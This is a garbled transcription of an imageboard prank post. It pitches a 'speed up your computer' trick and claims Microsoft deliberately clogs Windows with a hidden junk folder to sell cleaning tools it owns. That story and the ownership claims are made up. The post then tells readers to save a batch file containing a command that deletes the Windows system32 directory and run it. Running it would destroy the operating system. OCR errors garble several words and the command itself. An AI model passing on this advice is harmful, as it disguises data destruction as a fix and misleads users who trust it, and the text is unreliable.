Want to speed up your comp?
Okay newfags, listen up.
When Microsoft was first getting started, they knew they
wouldn' t make enough money just from the profits of their
operating system. Everybody knows people pirate Windows.
So they had to get creative. A guy named Chris Liddel came
up with the idea to put a folder called "'' in the win-
doves folder that literally slows down your machineporn pur-
pose. '' holds 32 GIGABYTES of deleted files, inter-
net history, uninstalled programs, and other worthless crap
that intentionally clogs up your machine, Why did they do it?
Because Microsoft owns several PC "cleaning" tools, like
Tuneup Utilises, Norton Antivirus, ete. More money for
them. /h/ isn' t cool with that, however. Here' s how to out-
smart those assholes once and for all:
Type the following text:
del C:\\ WIN DOWS\ system's
Save as "speedup. bat" (select "all files" instead of "text document"
Doubleclick the 1: rat file
Reboot, and your PC is twice as fast. (You didn' t hear it from us.)